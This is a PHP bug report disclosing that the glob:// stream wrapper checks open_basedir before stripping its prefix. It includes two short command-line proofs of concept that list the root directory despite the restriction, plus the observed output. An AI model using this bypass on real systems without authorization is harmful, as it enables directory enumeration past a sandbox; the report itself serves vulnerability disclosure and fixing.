Description:
------------
This very old and well-known issue, which I decided to report almost 5 years after posting it on rdot forum.
The reason is here: http://lxr.php.net/xref/PHP-7.1/main/streams/glob_wrapper.c#208
Wrapper prefix "glob://" is cut off _after_ php_check_open_basedir is called, so that path is considered as relative, whereas it is absolute.
Obviously, if-block on line 216 should be put after line 221, where path is sliced.

Test script:
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php -dopen_basedir=/home/beched -r 'foreach(new DirectoryIterator("glob:///*") as $f) echo "$f\n";'

or

php -dopen_basedir=/home/beched -r 'foreach(new GlobIterator("/*") as $f) echo "$f\n";'

Expected result:
----------------
PHP Fatal error:  Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(glob:///*) is not within the allowed path(s): (/home/beched) in Command line code:1
Stack trace:
#0 Command line code(1): DirectoryIterator->__construct('glob:///*')
#1 {main}
  thrown in Command line code on line 1


Actual result:
--------------
bin
boot
build
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
logs
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old